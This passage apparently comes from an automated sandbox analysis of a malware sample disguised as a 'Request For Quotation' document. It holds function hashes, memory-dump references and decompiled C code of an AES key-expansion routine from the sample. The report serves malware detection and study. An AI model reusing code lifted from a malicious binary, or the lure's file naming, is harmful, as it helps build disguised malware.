Opcode ID: 6b2f4e242fac2467a928995a2cc99b6ffdc19bf2f148a4aa8f42267f2a6752f9
Instruction ID: efe37fb9d4c9ec772f77596808285a547245825d47f216232bf7f5f83e82eb81
Opcode Fuzzy Hash: 6b2f4e242fac2467a928995a2cc99b6ffdc19bf2f148a4aa8f42267f2a6752f9
Instruction Fuzzy Hash: D6710032210B01EFD732CF28C941F66BBB5EB46760F204528F6558B6E2DB75E944DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00AD1002, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153f8fd8fb95d1b8e48f70ee587d7a146cbf819e73d1ec2ef310961062287bfb
Instruction ID: 0c3100e720ae916edb09a6509c6678872c95f12ad8f529b8bc25824f6ca87839
Opcode Fuzzy Hash: 153f8fd8fb95d1b8e48f70ee587d7a146cbf819e73d1ec2ef310961062287bfb
Instruction Fuzzy Hash: C9719A34A00762EBDB24DF56C48067AB3F1FB44301B68896FE9938B740E775AD90DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A2F370, Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 354e527e9d60024c2357a3223e962d66e9858f1d3f1f5f2e164c05785389c954
Instruction ID: 0ee5ae71c7cb872a0463677f38a85b728a6386c32461501085990c2f41acf620
Opcode Fuzzy Hash: 354e527e9d60024c2357a3223e962d66e9858f1d3f1f5f2e164c05785389c954
Instruction Fuzzy Hash: 3061EE36A142258FCB15DF5CD88076BB7B2EF85310B2481B9E85ADB345DB74D942C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A1395E, Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fef6a2f4f5029bcbd7f3c7fb82da8fa77e1e8ebcf22abe41252029a72a0e0c5
Instruction ID: 6baecda8da77e0bcd903d46adb4e226d4e83f4e474f2e3b4384338f5efa7508d
Opcode Fuzzy Hash: 6fef6a2f4f5029bcbd7f3c7fb82da8fa77e1e8ebcf22abe41252029a72a0e0c5
Instruction Fuzzy Hash: CF51AF72600745DFCB20DF59C985BABB3B9FF44359F10882DE18A87A11CB75EA85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00AD231B, Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e810104f188f0083538cd33544544511c839250dcef28edef0df80895d39e648
Instruction ID: 59db7e00dfb3f41c0af4b2328236c3789ad565f5351d131e72e4c443272599bd
Opcode Fuzzy Hash: e810104f188f0083538cd33544544511c839250dcef28edef0df80895d39e648
Instruction Fuzzy Hash: 9951E072B0061A9FCB18CF58CD91A79B7F2EBA8310754816EE806CB395DB34DD51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ABCB4F, Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27c37b6d7e0c2081b6e3e83f285a8b191e63be0dc1735e869adf4b3fb904fb2e
Instruction ID: 584b9372753291b985db5b1171a8f789b220e85457e91306479cdea07a9a797a
Opcode Fuzzy Hash: 27c37b6d7e0c2081b6e3e83f285a8b191e63be0dc1735e869adf4b3fb904fb2e
Instruction Fuzzy Hash: 9B51CF747006119BCB24DF69C490AAABBBAFF9A310F24816EE44A9B342D7719D42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A1B171, Relevance: .2, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bbbf4eaa1911b176fe05b221e8ec2236030d49a95045aad3187d4c5a742001c
Instruction ID: 24e938298a5385c471808369338bc9178b41957b49091060d0138c9176d953a4
Opcode Fuzzy Hash: 0bbbf4eaa1911b176fe05b221e8ec2236030d49a95045aad3187d4c5a742001c
Instruction Fuzzy Hash: CE51C171D102698EDB31CF64CD45BAEBBB0BF09710F21C2A9E959AB281D7704D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00402D90, Relevance: .2, Instructions: 165
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00402D90(intOrPtr _a4, signed int* _a8, signed int* _a12, intOrPtr _a16) {
				signed int _t66;
				signed int* _t69;
				signed int* _t81;
				signed int _t94;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int* _t110;
				signed int _t127;
				signed int _t129;
				signed int _t133;
				signed int _t152;
				intOrPtr _t171;

				_t81 = _a12;
				_t110 = _a8;
				asm("ror esi, 0x8");
				asm("rol eax, 0x8");
				 *_t110 =  *_t81 & 0xff00ff00 |  *_t81 & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[1] = _t81[1] & 0xff00ff00 | _t81[1] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[2] = _t81[2] & 0xff00ff00 | _t81[2] & 0x00ff00ff;
				_t66 =  &(_t110[1]);
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[3] = _t81[3] & 0xff00ff00 | _t81[3] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[4] = _t81[4] & 0xff00ff00 | _t81[4] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[5] = _t81[5] & 0xff00ff00 | _t81[5] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t110[6] = _t81[6] & 0xff00ff00 | _t81[6] & 0x00ff00ff;
				asm("ror esi, 0x8");
				asm("rol ecx, 0x8");
				_t110[7] = _t81[7] & 0xff00ff00 | _t81[7] & 0x00ff00ff;
				if(_a16 != 0x100) {
					L4:
					return _t66 | 0xffffffff;
				} else {
					_t171 = _a4;
					_t69 = 0;
					_a12 = 0;
					while(1) {
						_t152 =  *(_t66 + 0x18);
						_t94 = ( *(_t171 + 4 + (_t152 >> 0x00000010 & 0x000000ff) * 4) & 0xffff0000 ^ ( *(_t171 +  &(_t69[0x241])) & 0x000000ff) << 0x00000010) << 0x00000008 ^  *(_t171 + 4 + (_t152 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t171 + 5 + (_t152 >> 0x00000018 & 0x000000ff) * 4) & 0x000000ff ^  *(_t171 + 4 + (_t152 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t66 - 4);
						_t127 =  *_t66 ^ _t94;
						 *(_t66 + 0x1c) = _t94;
						_t96 =  *(_t66 + 4) ^ _t127;
						 *(_t66 + 0x20) = _t127;
						_t129 =  *(_t66 + 8) ^ _t96;
						 *(_t66 + 0x24) = _t96;
						 *(_t66 + 0x28) = _t129;
						if(_t69 == 6) {
							break;
						}
						_t106 = ( *(_t171 + 4 + (_t129 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t171 + 4 + (_t129 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t171 + 4 + (_t129 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t171 + 5 + (_t129 & 0x000000ff) * 4) & 0x000000ff ^  *(_t66 + 0xc);
						_t133 =  *(_t66 + 0x10) ^ _t106;
						 *(_t66 + 0x2c) = _t106;
						_t108 =  *(_t66 + 0x14) ^ _t133;
						 *(_t66 + 0x34) = _t108;
						_t69 =  &(_a12[0]);
						 *(_t66 + 0x30) = _t133;
						 *(_t66 + 0x38) = _t108 ^ _t152;
						_t66 = _t66 + 0x20;
						_a12 = _t69;
						if(_t69 < 7) {
							continue;
						} else {
							goto L4;
						}
						goto L6;
					}
					return 0xe;
				}
				L6:
			}

0x00402d93
0x00402d98
0x00402da0
0x00402da9
0x00402db3
0x00402dba
0x00402dc3
0x00402dce
0x00402dd6
0x00402ddf
0x00402dea
0x00402df0
0x00402df5
0x00402dfe
0x00402e09
0x00402e11
0x00402e1a
0x00402e25
0x00402e2d
0x00402e36
0x00402e41
0x00402e49
0x00402e52
0x00402e5d
0x00402e65
0x00402e6e
0x00402e80
0x00402e83
0x00402f9f
0x00402fa4
0x00402e89
0x00402e89
0x00402e8c
0x00402e8e
0x00402e91
0x00402e91
0x00402ef6
0x00402efb
0x00402efd
0x00402f03
0x00402f05
0x00402f0b
0x00402f0d
0x00402f10
0x00402f16
0x00000000
0x00000000
0x00402f72
0x00402f78
0x00402f7a
0x00402f80
0x00402f82
0x00402f87
0x00402f88
0x00402f8b
0x00402f8e
0x00402f91
0x00402f97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402f97
0x00402fae
0x00402fae
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction ID: 72940b2de139f4e90958e9e8763c4e4336f87cc22ae5d142da70f60c8c24c1bc
Opcode Fuzzy Hash: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction Fuzzy Hash: AB5173B3E14A214BD3188E09CD40631B792FFD8312B5F81BEDD199B397CE74E9529A90

Uniqueness

Uniqueness Score: -1.00%

Function 00402D87, Relevance: .2, Instructions: 162
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00402D87(void* __eax, void* __edx, intOrPtr _a4, signed int* _a8, signed int* _a12, intOrPtr _a16) {
				signed int _t69;
				signed int* _t74;
				signed int* _t87;
				signed int _t100;
				signed int _t102;
				signed int _t112;
				signed int _t114;
				signed int* _t118;
				signed int _t135;
				signed int _t137;
				signed int _t141;
				signed int _t162;
				intOrPtr _t184;

				asm("cmc");
				asm("cli");
				_t87 = _a12;
				_t118 = _a8;
				asm("ror esi, 0x8");
				asm("rol eax, 0x8");
				 *_t118 =  *_t87 & 0xff00ff00 |  *_t87 & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t118[1] = _t87[1] & 0xff00ff00 | _t87[1] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t118[2] = _t87[2] & 0xff00ff00 | _t87[2] & 0x00ff00ff;
				_t69 =  &(_t118[1]);
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t118[3] = _t87[3] & 0xff00ff00 | _t87[3] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t118[4] = _t87[4] & 0xff00ff00 | _t87[4] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t118[5] = _t87[5] & 0xff00ff00 | _t87[5] & 0x00ff00ff;
				asm("ror edi, 0x8");
				asm("rol esi, 0x8");
				_t118[6] = _t87[6] & 0xff00ff00 | _t87[6] & 0x00ff00ff;
				asm("ror esi, 0x8");
				asm("rol ecx, 0x8");
				_t118[7] = _t87[7] & 0xff00ff00 | _t87[7] & 0x00ff00ff;
				if(_a16 != 0x100) {
					L5:
					return _t69 | 0xffffffff;
				} else {
					_t184 = _a4;
					_t74 = 0;
					_a12 = 0;
					while(1) {
						_t162 =  *(_t69 + 0x18);
						_t100 = ( *(_t184 + 4 + (_t162 >> 0x00000010 & 0x000000ff) * 4) & 0xffff0000 ^ ( *(_t184 +  &(_t74[0x241])) & 0x000000ff) << 0x00000010) << 0x00000008 ^  *(_t184 + 4 + (_t162 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t184 + 5 + (_t162 >> 0x00000018 & 0x000000ff) * 4) & 0x000000ff ^  *(_t184 + 4 + (_t162 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t69 - 4);
						_t135 =  *_t69 ^ _t100;
						 *(_t69 + 0x1c) = _t100;
						_t102 =  *(_t69 + 4) ^ _t135;
						 *(_t69 + 0x20) = _t135;
						_t137 =  *(_t69 + 8) ^ _t102;
						 *(_t69 + 0x24) = _t102;
						 *(_t69 + 0x28) = _t137;
						if(_t74 == 6) {
							break;
						}
						_t112 = ( *(_t184 + 4 + (_t137 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t184 + 4 + (_t137 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t184 + 4 + (_t137 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t184 + 5 + (_t137 & 0x000000ff) * 4) & 0x000000ff ^  *(_t69 + 0xc);
						_t141 =  *(_t69 + 0x10) ^ _t112;
						 *(_t69 + 0x2c) = _t112;
						_t114 =  *(_t69 + 0x14) ^ _t141;
						 *(_t69 + 0x34) = _t114;
						_t74 =  &(_a12[0]);
						 *(_t69 + 0x30) = _t141;
						 *(_t69 + 0x38) = _t114 ^ _t162;
						_t69 = _t69 + 0x20;
						_a12 = _t74;
						if(_t74 < 7) {
							continue;
						} else {
							goto L5;
						}
						goto L7;
					}
					return 0xe;
				}
				L7:
			}

0x00402d87
0x00402d88
0x00402d93
0x00402d98
0x00402da0
0x00402da9
0x00402db3
0x00402dba
0x00402dc3
0x00402dce
0x00402dd6
0x00402ddf
0x00402dea
0x00402df0
0x00402df5
0x00402dfe
0x00402e09
0x00402e11
0x00402e1a
0x00402e25
0x00402e2d
0x00402e36
0x00402e41
0x00402e49
0x00402e52
0x00402e5d
0x00402e65
0x00402e6e
0x00402e80
0x00402e83
0x00402f9d
0x00402fa4
0x00402e89
0x00402e89
0x00402e8c
0x00402e8e
0x00402e91
0x00402e91
0x00402ef6
0x00402efb
0x00402efd
0x00402f03
0x00402f05
0x00402f0b
0x00402f0d
0x00402f10
0x00402f16
0x00000000
0x00000000
0x00402f72
0x00402f78
0x00402f7a
0x00402f80
0x00402f82
0x00402f87
0x00402f88
0x00402f8b
0x00402f8e
0x00402f91
0x00402f97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402f97
0x00402fae
0x00402fae
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14952465f8bec2fc74c0826dfd47fe7adcd54814a577d01bd513e393fadca164
Instruction ID: 27f37145d267d048fdc5e89215ad63f63866cf67cf1772972eb49b9630a5365d
Opcode Fuzzy Hash: 14952465f8bec2fc74c0826dfd47fe7adcd54814a577d01bd513e393fadca164
Instruction Fuzzy Hash: D75181B3E14A214BD3188F09CD40631B792EFC8312B5F81BEDD199B397CA74E9529A90

Uniqueness

Uniqueness Score: -1.00%

Function 00A152A5, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a887c72c915ba22ff6ed68f7f1a36455f12464d9870cd5aa3e5760510a9fd060
Instruction ID: bbb0b8dc34d0c999c5a56ef9063aa403f0884bb0ce12863560a2e45534515b2d
Opcode Fuzzy Hash: a887c72c915ba22ff6ed68f7f1a36455f12464d9870cd5aa3e5760510a9fd060
Instruction Fuzzy Hash: 3251DF72605741EFC721DF68CA41B67BBE4FF94710F10892AF499876A2EB70E884C791

Uniqueness

Uniqueness Score: -1.00%

Function 00A42AE4, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b2116f4c71ebd1c56a8a8cf795537c86b6348234bfac4b447dca7e80e747e5
Instruction ID: 4b29087b42a74f2532260cd130dba42fa8095c5aa6526fa36030c45cd300e869
Opcode Fuzzy Hash: c3b2116f4c71ebd1c56a8a8cf795537c86b6348234bfac4b447dca7e80e747e5
Instruction Fuzzy Hash: F751AF7AB00115CFCB18DF19C880ABDB7B1FBD8700756856AF8469B325DB30AE52DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ADB0C7, Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dc0f9c3d5ef3749b7147fd2ea9362bc64ed2fbdffdbe5109ed1d412336c8438
Instruction ID: db0d36e21e76cc9ea5376482db59f5bd1a02d235b20cbab582ae1eded851b2c0
Opcode Fuzzy Hash: 2dc0f9c3d5ef3749b7147fd2ea9362bc64ed2fbdffdbe5109ed1d412336c8438
Instruction Fuzzy Hash: FF51D472A10608EFDB25CF58CD41BEEB7B5EF44310F15866AF916AB290D7749E04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A43C3E, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8840c6b1cbe822dc6b4e6183db85c53430f0839670718c4ad4a8483436b97a9d
Instruction ID: af6d2899172a9eb538c177841fc02e77a9fc55f08e758c451a90a3793992f820
Opcode Fuzzy Hash: 8840c6b1cbe822dc6b4e6183db85c53430f0839670718c4ad4a8483436b97a9d
Instruction Fuzzy Hash: 1851A075608341AFD700DF28D981A6AB7E9FFC4314F14496EF899CB292D770DA05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A3DBE9, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e23c12a477ca0d5c69eabcc4f0f2a03db391c32994b7a6d967bc6c94b0ad916
Instruction ID: 8d1d66b1e50ebca576befdd2f256387ecb3018349338acd2394341d0647d38bf
Opcode Fuzzy Hash: 6e23c12a477ca0d5c69eabcc4f0f2a03db391c32994b7a6d967bc6c94b0ad916
Instruction Fuzzy Hash: 3051C0B1A01605CFCB14DFB8D580AAEFBF2BF48350F21855AE595AB340DB31AE44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6BEC, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd0727d5de4c93db32d52f2b54fc461c83d1c24d157af8336b820b0f2f2f7a5
Instruction ID: 1ea3bbfd13eab6615eb993b1930e85c08cfd48513207464ff1f265a7ecc5f20f
Opcode Fuzzy Hash: 9dd0727d5de4c93db32d52f2b54fc461c83d1c24d157af8336b820b0f2f2f7a5
Instruction Fuzzy Hash: 4D41F071B00915ABDB24DF68C990BFAB7BDFB95310F15807AE8459B222EB38CD41C790

Uniqueness

Uniqueness Score: -1.00%

Function 00AE740D, Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: b2b86b6bd60e0554fc8de140150b9f8dc1019e949ceece6e151a19072b35110b
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 9F51AC71600646EFCB15CF55C981A9AFBB5FF45304F14C0BAE9089F252E371E946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AC1EB6, Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3fc68cbeb612879382c1403e4dbd152d962c9763c502acd911d52c5cc3777ed
Instruction ID: 403e106073f3e0d7e12ddede1754bc5cb1f00e81c8698fe8e0488524748bf2a7
Opcode Fuzzy Hash: d3fc68cbeb612879382c1403e4dbd152d962c9763c502acd911d52c5cc3777ed
Instruction Fuzzy Hash: 2841F3342042969FDB14CF2DC491BB6BBF1EF5A300F15855EE8818B346D3349865DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A15050, Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b4e4f40baa74053f1c22a7338bf292e7f63b9e989916fb7dd85f1ad6ab00fee
Instruction ID: aa663920a19947d7e64f1a0e7564b790377c03136a819af61b639b1fa336ea8f
Opcode Fuzzy Hash: 0b4e4f40baa74053f1c22a7338bf292e7f63b9e989916fb7dd85f1ad6ab00fee
Instruction Fuzzy Hash: E841E676608711EFC325EF28CD40F6AB7A4AF94710F108A29F8999B292E770DC85C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 00A42990, Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cfd7d63260938eb229ab0373ba0b774a8e9e6bae14b1709a767b0b752aee024
Instruction ID: 6e238e867f67042eb307794381c2e78d670e49cdf7eee14ea4c4c0ac7c10db81
Opcode Fuzzy Hash: 9cfd7d63260938eb229ab0373ba0b774a8e9e6bae14b1709a767b0b752aee024
Instruction Fuzzy Hash: 8C514275A00219EFDF25DF55C980AAEBBB6BF88350F548065FC14AB261C3319D92DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A44BAD, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61641693322901b2281fd454719b39e7020f95164eab3b8274d15a8e8c0999d2
Instruction ID: 26d58188a324d121c7dac3270b0f3ccdec947793eb9f25630ad7911f7c036560
Opcode Fuzzy Hash: 61641693322901b2281fd454719b39e7020f95164eab3b8274d15a8e8c0999d2
Instruction Fuzzy Hash: 8A41B135A412289BDB20EF68DA81BEE77B4FF49710F0500A5F908AB241DB74DE84CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00AE2B28, Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e97893d2515a33f49811636cad8e027e226c873765542167fe8c44e7a7d362a
Instruction ID: 362deb5779abd6269bcb1cb6bb9444f143503132f0ab90ce5d1583796eb0c9f2
Opcode Fuzzy Hash: 2e97893d2515a33f49811636cad8e027e226c873765542167fe8c44e7a7d362a
Instruction Fuzzy Hash: E2412573B101556BC724DF29C981AAFB7ADEF88720F148679E815DB280DA74ED42C790

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F86D, Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05eb739dbb2c57c9a39d62d8f0d76449979321a6449adf0a9665fdc6bda9ac82
Instruction ID: d573774094a926cbc3694154dac7cfdfcba8e72145714526b5479da153784fe3
Opcode Fuzzy Hash: 05eb739dbb2c57c9a39d62d8f0d76449979321a6449adf0a9665fdc6bda9ac82
Instruction Fuzzy Hash: 1E41AC71E21305EFDB21AFA8C941BAEB6B5BF58714F24052AF441EB252DB74DD408B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A11AA0, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1a7370b56a08231ee134f13a4b803da5b209042f7814c29e042afade973f4ff
Instruction ID: db0f44b2eeafb4fe8040d0b7f8db01e5abe2638220ea89ecc9f71e567b616eca
Opcode Fuzzy Hash: e1a7370b56a08231ee134f13a4b803da5b209042f7814c29e042afade973f4ff
Instruction Fuzzy Hash: 06412E71A09605EFCB24CF99C980EAAB7F9FF08740B20496DE656DB650E730EE44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AA6365, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3b4a51cfa3edcff81842d127ee4f292402115a8f3185dbd1a32f25bb9fad36
Instruction ID: f4ac070ac4b54b194d350afbd64080cd179e77e6c239ab8490df806d3122dd56
Opcode Fuzzy Hash: be3b4a51cfa3edcff81842d127ee4f292402115a8f3185dbd1a32f25bb9fad36
Instruction Fuzzy Hash: F341D076600605EBCB25DF68C951BAF7B79EF4A710F198068F9069F281D730ED02CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A1649B, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

